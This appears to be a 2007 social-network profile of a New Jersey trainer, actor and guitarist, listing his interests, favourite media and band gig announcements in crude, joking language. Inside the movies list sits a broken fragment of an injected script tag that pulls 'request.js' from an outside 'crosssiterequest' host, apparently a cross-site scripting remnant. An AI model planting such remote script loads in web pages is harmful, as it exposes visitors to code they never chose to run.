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About Me

I am Dimitry. I'm a personal trainer at WorkOutWorld in Freehold. I also act in tv stuff n do voice-overs on the side. Maybe even a little improv comedy on the weekends if I feel like it. Oh ya! I'm also the guitarist and 1/2 vocalist of DED SEXI. I feel like I've been making a lot of radical changes in my life this past year..but change is good. I make catch-phrases and you will repeat them. I find humor in almost anything. I'm a level 70 Face-melter! I like to stay active and keep in shape. I want to meet some more new people. We can share cooking recipes or talk about ice sculptures shaped like my junk. *apparently, my profile said that i lived in Alabama for the past year. No wonder the friend requests i've gotten were from chicks with teeth missing. Hot!

My Interests

Improv, acting, working out, Ded Sexi, mountain biking, making movies, watching movies, making out, putting people in my trunk, paintball, sexy time!, video games, biting, meeting new people. I'm on stage almost every weekend performing with ImprovJam in Eatontown. Come visit

I'd like to meet:

Anybody cool or fun to chill with. I would like to meet more robot people. People to go to the movies with, go to a bar, parties, mountain biking, paintball. I'm pretty picky when it comes to girls. Can't be chubby..no exceptions. Don't send me to prison either..please be 18+
Come see my band in Sept

Music:

Adema, Alice in chains, Breaking Benjamin, Ded Sexi, Disturbed, Dre, Eminem, G'n'R, HIM, Iron Maiden, Black Eyed Peas, Korn, Linkin Park, Madonna, Megadeth, Metallica, Mudvayne, Nas, Nelly, Offspring, Sevendust, Snoop, Soundgarden, Stabbing Westward, STP, Sublime, System of a Down, Tenacious D, Twiztid, Three Days Grace, and smurfs

Movies:

all horror classics, Back To The Future trilogy, Lord of the rings, Pulp fiction, Jackass 1&2, Swingers, Braveheart, Goonies, Fight club, Spaceballs, Matrix, Casino, License to Drive, Tank Girl, Goodfellas, Dumb & Dumber, Cruel Intentions, Empire Records, SuperTroopers, Better off dead, Office space, Zoolander, CastAway, Weird science, Willow, Friday, American pie, Labyrinth, Princess Bride, Freddy vs Jason .... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("..1...{}");}..

Television:

Family Guy, South Park, The A-Team, Kids in the hall, Arrested Development, Saved by the bell, Different Strokes, Family ties, Transformers, Farscape, Knight Rider, Gummie Bears, Duck tales, Thunder Cats, Smallville, Voltron

Books:

Everything Stephen King. Toasters are not books

Heroes:

Zack Morris, Murdock, Michael Knight, The Red Lion, Mrs. Garret, and Mr. Belvedere..

My Blog

Extreme skipping to the max dude 6.17.07

EXTREME SKIPPING TO THE MAX DUDE! " target="_self"> ...
Posted by Bizang on Mon, 18 Jun 2007 07:36:00 PST

text Message Breakup 5.29.07

New funny video you guys have to see! http://www.youtube.com/watch?v=XcidD2HFK8M
Posted by Bizang on Tue, 29 May 2007 08:41:00 PST

The world is going crazy

Hearing about too many dumb and senseless things happening on this planet. 1. I dont even want to get into the chaos that still goes on in the Middle East, but it is 2007! Can we plea...
Posted by Bizang on Thu, 19 Apr 2007 12:10:00 PST

Ded Sexi performs 3.23.07!

Ded Sexi will be at The Blue Room 8pm! 201 Secaucus Road, Secaucus, New Jersey Cost : $10
Posted by Bizang on Thu, 22 Mar 2007 11:05:00 PST

Ded Sexi @ The CourtTavern 1.19.07

We give it one more go...this time with a drummer! Gonna be a happening show!. Come down you local people. hang out with us. ...
Posted by Bizang on Fri, 12 Jan 2007 08:08:00 PST

DedSexi @ Blue Room 1.10.07

Come on Down. It's gonna be a rockin' show. Our buddies True Montana and Michael Zuko will be there too! Check their sets too. We go on at 8pm ...
Posted by Bizang on Wed, 10 Jan 2007 10:34:00 PST

Ded Sexi in New Brunswick on 1.3.07

Theres no cover. Come on out. Our 1st New Brunswick show. Lets make it a good one! Check flier for all info. Click: http://i33.photobucket.com/albums/d92/CrackDima/HoganFlyer2c ...
Posted by Bizang on Sat, 30 Dec 2006 11:18:00 PST

My band performs Oct 7th & Oct 9th!

We've got 2 shows 2 days apart! Ded Sexi October, 7 2006 at McGurk's Pub 104 Harrison Avenue, West Orange, 07052Cost: FREE October, 9 2006 at Fat Baby 112 Rivington Street (between Essex a...
Posted by Bizang on Fri, 06 Oct 2006 06:21:00 PST

White n Nerdy 9.27.06

Weird Al has done it again. I think this is one of his best music videos yet: White & Nerdy
Posted by Bizang on Wed, 27 Sep 2006 10:35:00 PST

I salute Steve Irwin 9.10.06

---CAIRNS, Australia - Steve Irwin, the hugely popular Australian television personality and conservationist known as the Crocodile Hunter, was killed Monday (9-4-06) by a stingray while filming off ...
Posted by Bizang on Sun, 10 Sep 2006 08:35:00 PST